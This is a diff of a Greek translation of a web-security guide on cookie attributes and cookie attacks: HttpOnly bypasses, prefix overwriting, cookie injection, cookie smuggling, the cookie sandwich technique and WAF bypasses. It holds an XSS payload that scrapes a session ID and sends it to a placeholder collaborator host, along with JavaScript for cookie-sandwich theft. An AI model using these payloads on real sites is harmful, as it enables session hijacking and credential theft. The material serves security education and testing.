- **None**: Επιτρέπει το cookie να αποστέλλεται από οποιοδήποτε third-party domain.
|
||||
|
||||
Θυμηθείτε, ενώ ρυθμίζετε cookies, η κατανόηση αυτών των χαρακτηριστικών μπορεί να βοηθήσει να διασφαλιστεί ότι συμπεριφέρονται όπως αναμένεται σε διάφορα σενάρια.
|
||||
Να θυμάστε ότι κατά τη διαμόρφωση των cookies, η κατανόηση αυτών των attributes μπορεί να βοηθήσει ώστε να συμπεριφέρονται όπως αναμένεται σε διαφορετικά σενάρια.
|
||||
|
||||
| **Request Type** | **Example Code** | **Cookies Sent When** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
@ -45,76 +45,83 @@
|
||||
| Image | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
|
||||
Ένα cookie με το χαρακτηριστικό _**SameSite**_ θα **μειώσει τις επιθέσεις CSRF** όπου απαιτείται μια συνδεδεμένη συνεδρία.
|
||||
A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed.
|
||||
|
||||
**\*Σημειώστε ότι από το Chrome80 (Φεβ/2019) η προεπιλεγμένη συμπεριφορά ενός cookie χωρίς χαρακτηριστικό cookie samesite** **θα είναι lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Σημειώστε ότι προσωρινά, μετά την εφαρμογή αυτής της αλλαγής, τα **cookies χωρίς πολιτική SameSite** **στο Chrome θα θεωρούνται** **ως None** κατά τη διάρκεια των **πρώτων 2 λεπτών και στη συνέχεια ως Lax για αιτήματα POST διασύνδεσης κορυφαίου επιπέδου.**
|
||||
**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Σημειώστε ότι προσωρινά, μετά την εφαρμογή αυτής της αλλαγής, τα **cookies χωρίς πολιτική SameSite** στο Chrome θα **αντιμετωπίζονται ως None** κατά τα **πρώτα 2 λεπτά** και στη συνέχεια ως Lax για κορυφαία cross-site POST αιτήματα.
|
||||
|
||||
## Cookies Flags
|
||||
|
||||
### HttpOnly
|
||||
|
||||
Αυτό αποτρέπει τον **πελάτη** να έχει πρόσβαση στο cookie (Μέσω **Javascript** για παράδειγμα: `document.cookie`)
|
||||
Αυτό εμποδίζει τον **client** από την πρόσβαση στο cookie (π.χ. μέσω **Javascript**: `document.cookie`)
|
||||
|
||||
#### **Bypasses**
|
||||
#### **Παρακάμψεις**
|
||||
|
||||
- Αν η σελίδα **στέλνει τα cookies ως απάντηση** σε αιτήματα (για παράδειγμα σε μια σελίδα **PHPinfo**), είναι δυνατόν να εκμεταλλευτείτε το XSS για να στείλετε ένα αίτημα σε αυτή τη σελίδα και να **κλέψετε τα cookies** από την απάντηση (ελέγξτε ένα παράδειγμα στο [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
- Αυτό μπορεί να παρακαμφθεί με **TRACE** **HTTP** αιτήματα καθώς η απάντηση από τον διακομιστή (αν αυτή η μέθοδος HTTP είναι διαθέσιμη) θα αντικατοπτρίζει τα cookies που στάλθηκαν. Αυτή η τεχνική ονομάζεται **Cross-Site Tracking**.
|
||||
- Αυτή η τεχνική αποφεύγεται από **σύγχρονους περιηγητές μη επιτρέποντας την αποστολή ενός TRACE** αιτήματος από JS. Ωστόσο, έχουν βρεθεί ορισμένες παρακάμψεις σε συγκεκριμένο λογισμικό όπως η αποστολή `\r\nTRACE` αντί για `TRACE` στο IE6.0 SP2.
|
||||
- Ένας άλλος τρόπος είναι η εκμετάλλευση ευπαθειών μηδενικής ημέρας στους περιηγητές.
|
||||
- Είναι δυνατόν να **επικαλύψετε τα HttpOnly cookies** εκτελώντας μια επίθεση Cookie Jar overflow:
|
||||
- Αν η σελίδα **επιστρέφει τα cookies ως απόκριση** σε ένα request (για παράδειγμα σε μια **PHPinfo** σελίδα), είναι δυνατό να γίνει κατάχρηση του XSS για να σταλεί ένα αίτημα σε αυτή τη σελίδα και να **κλαπούν τα cookies** από την απόκριση (βλέπε παράδειγμα στο [https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
|
||||
- Αυτό μπορεί να παρακαμφθεί με **TRACE** **HTTP** requests αφού η απόκριση από τον server (αν αυτή η HTTP μέθοδος είναι διαθέσιμη) θα αντικατοπτρίζει τα αποσταλμένα cookies. Αυτή η τεχνική ονομάζεται **Cross-Site Tracking**.
|
||||
- Αυτή η τεχνική αποφεύγεται από **σύγχρονα browsers που δεν επιτρέπουν την αποστολή TRACE** αιτήματος από JS. Ωστόσο, έχουν βρεθεί μερικές παρακάμψεις σε συγκεκριμένο λογισμικό, όπως η αποστολή `\r\nTRACE` αντί για `TRACE` στο IE6.0 SP2.
|
||||
- Ένας άλλος τρόπος είναι η εκμετάλλευση zero/day ευπαθειών στους browsers.
|
||||
- Είναι δυνατό να **υπεργραφούν HttpOnly cookies** εκτελώντας μια επίθεση Cookie Jar overflow:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
cookie-jar-overflow.md
|
||||
{{#endref}}
|
||||
|
||||
- Είναι δυνατόν να χρησιμοποιήσετε την επίθεση [**Cookie Smuggling**](#cookie-smuggling) για να εξάγετε αυτά τα cookies
|
||||
- Είναι δυνατό να χρησιμοποιηθεί επίθεση [**Cookie Smuggling**](#cookie-smuggling) για την εξαγωγή αυτών των cookies
|
||||
- Εάν κάποιο server-side endpoint echo-άρει το raw session ID στην HTTP απόκριση (π.χ. μέσα σε σχόλια HTML ή σε ένα debug block), μπορείτε να παρακάμψετε το HttpOnly χρησιμοποιώντας ένα XSS gadget για να κάνετε fetch το endpoint, να ανακτήσετε το secret με regex, και να το εξαγάγετε. Παράδειγμα μοτίβου XSS payload:
|
||||
```js
|
||||
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
|
||||
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
|
||||
fetch('/index.php?module=Touch&action=ws')
|
||||
.then(r => r.text())
|
||||
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });
|
||||
```
|
||||
### Ασφαλές
|
||||
|
||||
### Secure
|
||||
|
||||
Το αίτημα θα **στείλει** το cookie σε ένα HTTP αίτημα μόνο εάν το αίτημα μεταδίδεται μέσω ενός ασφαλούς καναλιού (συνήθως **HTTPS**).
|
||||
Το αίτημα θα στείλει το cookie **μόνο** σε ένα HTTP request αν το αίτημα μεταδοθεί μέσω ασφαλούς καναλιού (συνήθως **HTTPS**).
|
||||
|
||||
## Cookies Prefixes
|
||||
|
||||
Τα cookies που έχουν πρόθεμα `__Secure-` απαιτείται να ρυθμιστούν μαζί με τη σημαία `secure` από σελίδες που είναι ασφαλισμένες μέσω HTTPS.
|
||||
Τα cookies που έχουν πρόθεμα `__Secure-` απαιτείται να οριστούν μαζί με την επισήμανση `secure` από σελίδες που προστατεύονται από HTTPS.
|
||||
|
||||
Για τα cookies που έχουν πρόθεμα `__Host-`, πρέπει να πληρούνται αρκετές προϋποθέσεις:
|
||||
Για τα cookies με πρόθεμα `__Host-`, πρέπει να ικανοποιηθούν οι εξής προϋποθέσεις:
|
||||
|
||||
- Πρέπει να ρυθμιστούν με τη σημαία `secure`.
|
||||
- Πρέπει να προέρχονται από μια σελίδα ασφαλισμένη μέσω HTTPS.
|
||||
- Απαγορεύεται να καθορίζουν ένα domain, αποτρέποντας τη μετάδοσή τους σε υποτομείς.
|
||||
- Η διαδρομή για αυτά τα cookies πρέπει να ρυθμιστεί σε `/`.
|
||||
- Πρέπει να οριστούν με την επισήμανση `secure`.
|
||||
- Πρέπει να προέρχονται από σελίδα που προστατεύεται από HTTPS.
|
||||
- Απαγορεύεται να καθορίζουν domain, αποτρέποντας έτσι τη μετάδοσή τους σε subdomains.
|
||||
- Το path για αυτά τα cookies πρέπει να οριστεί σε `/`.
|
||||
|
||||
Είναι σημαντικό να σημειωθεί ότι τα cookies που έχουν πρόθεμα `__Host-` δεν επιτρέπεται να αποστέλλονται σε υπερτομείς ή υποτομείς. Αυτός ο περιορισμός βοηθά στην απομόνωση των cookies εφαρμογής. Έτσι, η χρήση του προθέματος `__Host-` για όλα τα cookies εφαρμογής μπορεί να θεωρηθεί καλή πρακτική για την ενίσχυση της ασφάλειας και της απομόνωσης.
|
||||
Είναι σημαντικό να σημειωθεί ότι τα cookies με πρόθεμα `__Host-` δεν επιτρέπεται να αποστέλλονται σε superdomains ή subdomains. Αυτός ο περιορισμός βοηθά στην απομόνωση των application cookies. Συνεπώς, η χρήση του προθέματος `__Host-` για όλα τα application cookies μπορεί να θεωρηθεί καλή πρακτική για την ενίσχυση της ασφάλειας και της απομόνωσης.
|
||||
|
||||
### Overwriting cookies
|
||||
|
||||
Έτσι, μία από τις προστασίες των cookies με πρόθεμα `__Host-` είναι να αποτρέπουν την επικάλυψή τους από υποτομείς. Αποτρέποντας για παράδειγμα [**Cookie Tossing attacks**](cookie-tossing.md). Στην ομιλία [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) παρουσιάζεται ότι ήταν δυνατόν να ρυθμιστούν cookies με πρόθεμα \_\_HOST- από υποτομέα, παραπλανώντας τον αναλυτή, για παράδειγμα, προσθέτοντας "=" στην αρχή ή στην αρχή και στο τέλος...:
|
||||
Ένα από τα μέτρα προστασίας των cookies με πρόθεμα `__Host-` είναι η αποτροπή της επεγγραφής τους από subdomains. Αποτρέπει, για παράδειγμα, τις [**Cookie Tossing attacks**](cookie-tossing.md). Στην ομιλία [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) παρουσιάζεται ότι ήταν εφικτό να οριστούν `\_\_HOST-` prefixed cookies από subdomain, με το να παραπλανηθεί ο parser — για παράδειγμα, προσθέτοντας "=" στην αρχή ή στην αρχή και στο τέλος...:
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ή σε PHP ήταν δυνατόν να προστεθούν **άλλοι χαρακτήρες στην αρχή** του ονόματος του cookie που θα αντικαθίσταντο με χαρακτήρες υπογράμμισης, επιτρέποντας την επικάλυψη των cookies `__HOST-`:
|
||||
Ή σε PHP ήταν εφικτό να προστεθούν **άλλοι χαρακτήρες στην αρχή** του ονόματος του cookie που θα **αντικαθιστώνταν από underscore** χαρακτήρες, επιτρέποντας την επεγγραφή των `__HOST-` cookies:
|
||||
|
||||
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Cookies Attacks
|
||||
|
||||
Αν ένα προσαρμοσμένο cookie περιέχει ευαίσθητα δεδομένα, ελέγξτε το (ιδιαίτερα αν συμμετέχετε σε CTF), καθώς μπορεί να είναι ευάλωτο.
|
||||
Αν ένα custom cookie περιέχει ευαίσθητα δεδομένα, ελέγξτε το (ειδικά αν παίζετε ένα CTF), καθώς μπορεί να είναι ευάλωτο.
|
||||
|
||||
### Decoding and Manipulating Cookies
|
||||
|
||||
Τα ευαίσθητα δεδομένα που ενσωματώνονται σε cookies θα πρέπει πάντα να εξετάζονται προσεκτικά. Τα cookies που είναι κωδικοποιημένα σε Base64 ή παρόμοιες μορφές μπορούν συχνά να αποκωδικοποιηθούν. Αυτή η ευπάθεια επιτρέπει στους επιτιθέμενους να τροποποιήσουν το περιεχόμενο του cookie και να προσποιηθούν άλλους χρήστες κωδικοποιώντας τα τροποποιημένα δεδομένα πίσω στο cookie.
|
||||
Τα ευαίσθητα δεδομένα ενσωματωμένα σε cookies πρέπει πάντα να εξετάζονται προσεκτικά. Τα cookies που είναι κωδικοποιημένα σε Base64 ή σε παρόμοια φορμά συχνά μπορούν να αποκωδικοποιηθούν. Αυτή η ευπάθεια επιτρέπει σε έναν επιτιθέμενο να αλλάξει το περιεχόμενο του cookie και να μιμηθεί άλλους χρήστες κωδικοποιώντας ξανά τα τροποποιημένα δεδομένα στο cookie.
|
||||
|
||||
### Session Hijacking
|
||||
|
||||
Αυτή η επίθεση περιλαμβάνει την κλοπή ενός cookie χρήστη για να αποκτήσει μη εξουσιοδοτημένη πρόσβαση στον λογαριασμό τους μέσα σε μια εφαρμογή. Χρησιμοποιώντας το κλεμμένο cookie, ένας επιτιθέμενος μπορεί να προσποιηθεί τον νόμιμο χρήστη.
|
||||
Αυτή η επίθεση περιλαμβάνει την κλοπή του cookie ενός χρήστη για να αποκτηθεί μη εξουσιοδοτημένη πρόσβαση στον λογαριασμό του μέσα σε μια εφαρμογή. Χρησιμοποιώντας το κλεμμένο cookie, ένας επιτιθέμενος μπορεί να μιμηθεί τον νόμιμο χρήστη.
|
||||
|
||||
### Session Fixation
|
||||
|
||||
Σε αυτό το σενάριο, ένας επιτιθέμενος παραπλανεί ένα θύμα να χρησιμοποιήσει ένα συγκεκριμένο cookie για να συνδεθεί. Αν η εφαρμογή δεν αναθέσει ένα νέο cookie κατά την είσοδο, ο επιτιθέμενος, κατέχοντας το αρχικό cookie, μπορεί να προσποιηθεί το θύμα. Αυτή η τεχνική βασίζεται στο γεγονός ότι το θύμα συνδέεται με ένα cookie που παρέχεται από τον επιτιθέμενο.
|
||||
Σε αυτό το σενάριο, ένας επιτιθέμενος παγιδεύει ένα θύμα ώστε να χρησιμοποιήσει ένα συγκεκριμένο cookie για να κάνει login. Αν η εφαρμογή δεν εκχωρήσει νέο cookie κατά το login, ο επιτιθέμενος, κατέχοντας το αρχικό cookie, μπορεί να μιμηθεί το θύμα. Αυτή η τεχνική βασίζεται στο ότι το θύμα κάνει login με cookie που παρείχε ο επιτιθέμενος.
|
||||
|
||||
Αν βρείτε ένα **XSS σε έναν υποτομέα** ή ελέγχετε έναν υποτομέα, διαβάστε:
|
||||
Αν βρήκατε ένα **XSS σε subdomain** ή **ελέγχετε ένα subdomain**, διαβάστε:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -123,9 +130,9 @@ cookie-tossing.md
|
||||
|
||||
### Session Donation
|
||||
|
||||
Εδώ, ο επιτιθέμενος πείθει το θύμα να χρησιμοποιήσει το cookie συνεδρίας του επιτιθέμενου. Το θύμα, πιστεύοντας ότι είναι συνδεδεμένο στον δικό του λογαριασμό, θα εκτελέσει ακούσια ενέργειες στο πλαίσιο του λογαριασμού του επιτιθέμενου.
|
||||
Εδώ, ο επιτιθέμενος πείθει το θύμα να χρησιμοποιήσει το session cookie του επιτιθέμενου. Το θύμα, πιστεύοντας ότι έχει συνδεθεί στον δικό του λογαριασμό, άθελά του θα εκτελεί ενέργειες στο πλαίσιο του λογαριασμού του επιτιθέμενου.
|
||||
|
||||
Αν βρείτε ένα **XSS σε έναν υποτομέα** ή ελέγχετε έναν υποτομέα, διαβάστε:
|
||||
Αν βρήκατε ένα **XSS σε subdomain** ή **ελέγχετε ένα subdomain**, διαβάστε:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -134,23 +141,23 @@ cookie-tossing.md
|
||||
|
||||
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||
|
||||
Κάντε κλικ στον προηγούμενο σύνδεσμο για να αποκτήσετε πρόσβαση σε μια σελίδα που εξηγεί πιθανά ελαττώματα στα JWT.
|
||||
Κάντε κλικ στον προηγούμενο σύνδεσμο για να έχετε πρόσβαση σε μια σελίδα που εξηγεί πιθανά σφάλματα στα JWT.
|
||||
|
||||
Τα JSON Web Tokens (JWT) που χρησιμοποιούνται σε cookies μπορούν επίσης να παρουσιάσουν ευπάθειες. Για λεπτομερείς πληροφορίες σχετικά με πιθανά ελαττώματα και πώς να τα εκμεταλλευτείτε, συνιστάται η πρόσβαση στο συνδεδεμένο έγγραφο σχετικά με την εκμετάλλευση JWT.
|
||||
Τα JSON Web Tokens (JWT) που χρησιμοποιούνται σε cookies μπορούν επίσης να παρουσιάσουν ευπάθειες. Για λεπτομερείς πληροφορίες σχετικά με πιθανές αδυναμίες και τρόπους εκμετάλλευσης, συνίσταται να ανατρέξετε στο συνδεδεμένο έγγραφο για hacking JWT.
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
Αυτή η επίθεση αναγκάζει έναν συνδεδεμένο χρήστη να εκτελέσει ανεπιθύμητες ενέργειες σε μια διαδικτυακή εφαρμογή στην οποία είναι αυτή τη στιγμή αυθεντικοποιημένος. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν τα cookies που αποστέλλονται αυτόματα με κάθε αίτημα προς τον ευάλωτο ιστότοπο.
|
||||
Αυτή η επίθεση αναγκάζει έναν ήδη συνδεδεμένο χρήστη να εκτελέσει ανεπιθύμητες ενέργειες σε μια web εφαρμογή στην οποία είναι αυτή τη στιγμή αυθεντικοποιημένος. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν cookies που αποστέλλονται αυτόματα με κάθε αίτημα προς τον ευάλωτο ιστότοπο.
|
||||
|
||||
### Empty Cookies
|
||||
|
||||
(Δείτε περισσότερες λεπτομέρειες στην [πρωτότυπη έρευνα](https://blog.ankursundara.com/cookie-bugs/)) Οι περιηγητές επιτρέπουν τη δημιουργία cookies χωρίς όνομα, κάτι που μπορεί να αποδειχθεί μέσω JavaScript ως εξής:
|
||||
(Δείτε περισσότερες λεπτομέρειες στην [original research](https://blog.ankursundara.com/cookie-bugs/)) Τα browsers επιτρέπουν τη δημιουργία cookies χωρίς όνομα, κάτι που μπορεί να επιδειχθεί μέσω JavaScript ως εξής:
|
||||
```js
|
||||
document.cookie = "a=v1"
|
||||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
Το αποτέλεσμα στην κεφαλίδα cookie που αποστέλλεται είναι `a=v1; test value; b=v2;`. Ενδιαφέρον είναι ότι αυτό επιτρέπει τη χειραγώγηση των cookies αν έχει οριστεί ένα cookie με κενό όνομα, ελέγχοντας δυνητικά άλλα cookies ορίζοντας το κενό cookie σε μια συγκεκριμένη τιμή:
|
||||
Το αποτέλεσμα στην αποστελλόμενη cookie header είναι `a=v1; test value; b=v2;`. Παραδόξως, αυτό επιτρέπει τη χειραγώγηση των cookies αν οριστεί ένα cookie με κενό όνομα, πιθανώς επιτρέποντας τον έλεγχο άλλων cookies ορίζοντας το κενό cookie σε μια συγκεκριμένη τιμή:
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`
|
||||
@ -158,49 +165,50 @@ document.cookie = `${name}=${value}`
|
||||
|
||||
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
|
||||
```
|
||||
Αυτό οδηγεί στο να στέλνει ο περιηγητής μια κεφαλίδα cookie που ερμηνεύεται από κάθε διακομιστή ιστού ως ένα cookie με όνομα `a` και τιμή `b`.
|
||||
Αυτό οδηγεί στο να στέλνει το πρόγραμμα περιήγησης ένα cookie header που ερμηνεύεται από κάθε web server ως cookie με όνομα `a` και τιμή `b`.
|
||||
|
||||
#### Chrome Bug: Πρόβλημα Κωδικών Υποκατάστασης Unicode
|
||||
#### Chrome — Πρόβλημα με Unicode Surrogate Codepoint
|
||||
|
||||
Στο Chrome, αν ένας κωδικός υποκατάστασης Unicode είναι μέρος ενός σετ cookie, το `document.cookie` γίνεται κατεστραμμένο, επιστρέφοντας μια κενή συμβολοσειρά στη συνέχεια:
|
||||
Στο Chrome, αν ένας Unicode surrogate codepoint είναι μέρος ενός set cookie, `document.cookie` διαφθείρεται, επιστρέφοντας στη συνέχεια ένα κενό string:
|
||||
```js
|
||||
document.cookie = "\ud800=meep"
|
||||
```
|
||||
Αυτό έχει ως αποτέλεσμα το `document.cookie` να επιστρέφει μια κενή συμβολοσειρά, υποδεικνύοντας μόνιμη διαφθορά.
|
||||
Αυτό έχει ως αποτέλεσμα το `document.cookie` να εμφανίζει κενή συμβολοσειρά, υποδεικνύοντας μόνιμη αλλοίωση.
|
||||
|
||||
#### Cookie Smuggling λόγω προβλημάτων ανάλυσης
|
||||
#### Cookie Smuggling Εξαιτίας προβλημάτων ανάλυσης
|
||||
|
||||
(Δείτε περισσότερες λεπτομέρειες στην [πρωτότυπη έρευνα](https://blog.ankursundara.com/cookie-bugs/)) Πολλοί διακομιστές ιστού, συμπεριλαμβανομένων αυτών από Java (Jetty, TomCat, Undertow) και Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), χειρίζονται λανθασμένα τις συμβολοσειρές cookie λόγω παρωχημένης υποστήριξης του RFC2965. Διαβάζουν μια τιμή cookie με διπλά εισαγωγικά ως μία μόνο τιμή, ακόμη και αν περιλαμβάνει ερωτηματικά, τα οποία κανονικά θα έπρεπε να διαχωρίζουν τα ζεύγη κλειδιού-τιμής:
|
||||
(Δείτε περισσότερες λεπτομέρειες στην[original research](https://blog.ankursundara.com/cookie-bugs/)) Πολλοί web servers, συμπεριλαμβανομένων εκείνων από Java (Jetty, TomCat, Undertow) και Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), χειρίζονται λανθασμένα cookie strings εξαιτίας παλαιωμένης υποστήριξης RFC2965. Διαβάζουν μια double-quoted cookie value ως μια ενιαία τιμή ακόμη κι αν περιέχει ';', που κανονικά θα πρέπει να διαχωρίζει key-value pairs:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### Ευπάθειες Εισαγωγής Cookie
|
||||
#### Cookie Injection Vulnerabilities
|
||||
|
||||
(Δείτε περισσότερες λεπτομέρειες στην [πρωτότυπη έρευνα](https://blog.ankursundara.com/cookie-bugs/)) Η λανθασμένη ανάλυση των cookies από τους διακομιστές, ιδίως τους Undertow, Zope και αυτούς που χρησιμοποιούν το `http.cookie.SimpleCookie` και `http.cookie.BaseCookie` της Python, δημιουργεί ευκαιρίες για επιθέσεις εισαγωγής cookies. Αυτοί οι διακομιστές αποτυγχάνουν να καθορίσουν σωστά την αρχή νέων cookies, επιτρέποντας στους επιτιθέμενους να παραποιήσουν cookies:
|
||||
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Η εσφαλμένη ανάλυση των cookies από διακομιστές, ιδιαίτερα Undertow, Zope και εκείνους που χρησιμοποιούν Python's `http.cookie.SimpleCookie` και `http.cookie.BaseCookie`, δημιουργεί ευκαιρίες για cookie injection attacks. Αυτοί οι διακομιστές δεν οριοθετούν σωστά την έναρξη νέων cookies, επιτρέποντας σε επιτιθέμενους να spoof cookies:
|
||||
|
||||
- Ο Undertow αναμένει ένα νέο cookie αμέσως μετά από μια παρατιθέμενη τιμή χωρίς ερωτηματικό.
|
||||
- Ο Zope αναζητά μια κόμμα για να αρχίσει την ανάλυση του επόμενου cookie.
|
||||
- Οι κλάσεις cookie της Python αρχίζουν την ανάλυση σε έναν χαρακτήρα κενό.
|
||||
- Undertow expects a new cookie immediately after a quoted value without a semicolon.
|
||||
- Zope looks for a comma to start parsing the next cookie.
|
||||
- Python's cookie classes start parsing on a space character.
|
||||
|
||||
Αυτή η ευπάθεια είναι ιδιαίτερα επικίνδυνη σε διαδικτυακές εφαρμογές που βασίζονται στην προστασία CSRF μέσω cookies, καθώς επιτρέπει στους επιτιθέμενους να εισάγουν παραποιημένα cookies CSRF-token, ενδεχομένως παρακάμπτοντας τα μέτρα ασφαλείας. Το πρόβλημα επιδεινώνεται από την επεξεργασία των διπλών ονομάτων cookie από την Python, όπου η τελευταία εμφάνιση υπερκαλύπτει τις προηγούμενες. Επίσης, εγείρει ανησυχίες για τα cookies `__Secure-` και `__Host-` σε ανασφαλείς συνθήκες και θα μπορούσε να οδηγήσει σε παρακάμψεις εξουσιοδότησης όταν τα cookies μεταφέρονται σε διακομιστές backend που είναι ευάλωτοι σε παραποίηση.
|
||||
Αυτή η ευπάθεια είναι ιδιαίτερα επικίνδυνη σε web applications που βασίζονται σε cookie-based CSRF protection, καθώς επιτρέπει σε επιτιθέμενους να εισάγουν spoofed CSRF-token cookies και δυνητικά να παρακάμψουν μέτρα ασφαλείας. Το πρόβλημα επιδεινώνεται από τον τρόπο που η Python χειρίζεται duplicate cookie names, όπου η τελευταία εμφάνιση υπερισχύει των προηγούμενων. Επιπλέον δημιουργεί ανησυχίες για `__Secure-` και `__Host-` cookies σε insecure contexts και μπορεί να οδηγήσει σε authorization bypasses όταν cookies προωθούνται σε back-end servers ευάλωτους σε spoofing.
|
||||
|
||||
### Cookies $version
|
||||
|
||||
#### Παράκαμψη WAF
|
||||
#### WAF Bypass
|
||||
|
||||
Σύμφωνα με [**αυτή την ανάρτηση**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), μπορεί να είναι δυνατό να χρησιμοποιηθεί το χαρακτηριστικό cookie **`$Version=1`** για να κάνει το backend να χρησιμοποιήσει μια παλιά λογική για την ανάλυση του cookie λόγω του **RFC2109**. Επιπλέον, άλλες τιμές όπως **`$Domain`** και **`$Path`** μπορούν να χρησιμοποιηθούν για να τροποποιήσουν τη συμπεριφορά του backend με το cookie.
|
||||
According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), μπορεί να είναι δυνατό να χρησιμοποιηθεί το cookie attribute **`$Version=1`** για να κάνει το backend να χρησιμοποιήσει παλαιότερη λογική για να parse το cookie λόγω του **RFC2109**. Επιπλέον, άλλες τιμές όπως **`$Domain`** και **`$Path`** μπορούν να χρησιμοποιηθούν για να τροποποιήσουν τη συμπεριφορά του backend μέσω του cookie.
|
||||
|
||||
#### Επίθεση Sandwich Cookie
|
||||
#### Cookie Sandwich Attack
|
||||
|
||||
Σύμφωνα με [**αυτή την ανάρτηση**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique), είναι δυνατό να χρησιμοποιηθεί η τεχνική sandwich cookie για να κλέψετε HttpOnly cookies. Αυτές είναι οι απαιτήσεις και τα βήματα:
|
||||
According to [**this blogpost**](https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique) είναι δυνατό να χρησιμοποιηθεί η τεχνική cookie sandwich για να κλαπούν HttpOnly cookies. Αυτά είναι τα requirements και τα steps:
|
||||
|
||||
- Βρείτε ένα μέρος όπου ένα φαινομενικά άχρηστο **cookie ανακλάται στην απόκριση**
|
||||
- **Δημιουργήστε ένα cookie που ονομάζεται `$Version`** με τιμή `1` (μπορείτε να το κάνετε αυτό σε μια επίθεση XSS από JS) με μια πιο συγκεκριμένη διαδρομή ώστε να πάρει την αρχική θέση (ορισμένα πλαίσια όπως η Python δεν χρειάζονται αυτό το βήμα)
|
||||
- **Δημιουργήστε το cookie που ανακλάται** με μια τιμή που αφήνει **ανοιχτές διπλές εισαγωγικά** και με μια συγκεκριμένη διαδρομή ώστε να τοποθετηθεί στη βάση δεδομένων cookies μετά το προηγούμενο (`$Version`)
|
||||
- Στη συνέχεια, το νόμιμο cookie θα έρθει επόμενο στη σειρά
|
||||
- **Δημιουργήστε ένα ψεύτικο cookie που κλείνει τις διπλές εισαγωγικά** μέσα στην τιμή του
|
||||
- Βρείτε ένα σημείο όπου ένα φαινομενικά άχρηστο **cookie is reflected in the response**
|
||||
- **Create a cookie called `$Version`** με value `1` (you can do this in a XSS attack from JS) με πιο συγκεκριμένο path ώστε να πάρει την αρχική position (κάποια frameworks όπως python δεν χρειάζονται αυτό το βήμα)
|
||||
- **Create the cookie that is reflected** με μια τιμή που αφήνει ένα **open double quotes** και με συγκεκριμένο path ώστε να τοποθετηθεί στην cookie db μετά από το προηγούμενο (`$Version`)
|
||||
- Στη συνέχεια, το legit cookie θα εμφανιστεί μετά στη σειρά
|
||||
- **Create a dummy cookie that closes the double quotes** μέσα στην τιμή του
|
||||
|
||||
Με αυτόν τον τρόπο, το cookie του θύματος παγιδεύεται μέσα στην νέα έκδοση cookie 1 και θα ανακλάται όποτε ανακλάται.
|
||||
Με αυτόν τον τρόπο το victim cookie παγιδεύεται μέσα στο νέο cookie version 1 και θα επιστρέφεται κάθε φορά που γίνεται reflection.
|
||||
e.g. from the post:
|
||||
```javascript
|
||||
document.cookie = `$Version=1;`;
|
||||
document.cookie = `param1="start`;
|
||||
@ -211,56 +219,56 @@ document.cookie = `param2=end";`;
|
||||
|
||||
#### Cookies $version
|
||||
|
||||
Δείτε την προηγούμενη ενότητα.
|
||||
Ελέγξτε την προηγούμενη ενότητα.
|
||||
|
||||
#### Bypassing value analysis with quoted-string encoding
|
||||
|
||||
Αυτή η ανάλυση υποδεικνύει την αποσυμπίεση των τιμών που έχουν διαφύγει μέσα στα cookies, έτσι ώστε το "\a" να γίνεται "a". Αυτό μπορεί να είναι χρήσιμο για την παράκαμψη των WAFS όπως:
|
||||
Αυτή η parsing υποδεικνύει να γίνει unescape των escaped τιμών μέσα στα cookies, οπότε "\a" γίνεται "a". Αυτό μπορεί να είναι χρήσιμο για να παρακαμφθούν οι WAFs όπως:
|
||||
|
||||
- `eval('test') => forbidden`
|
||||
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
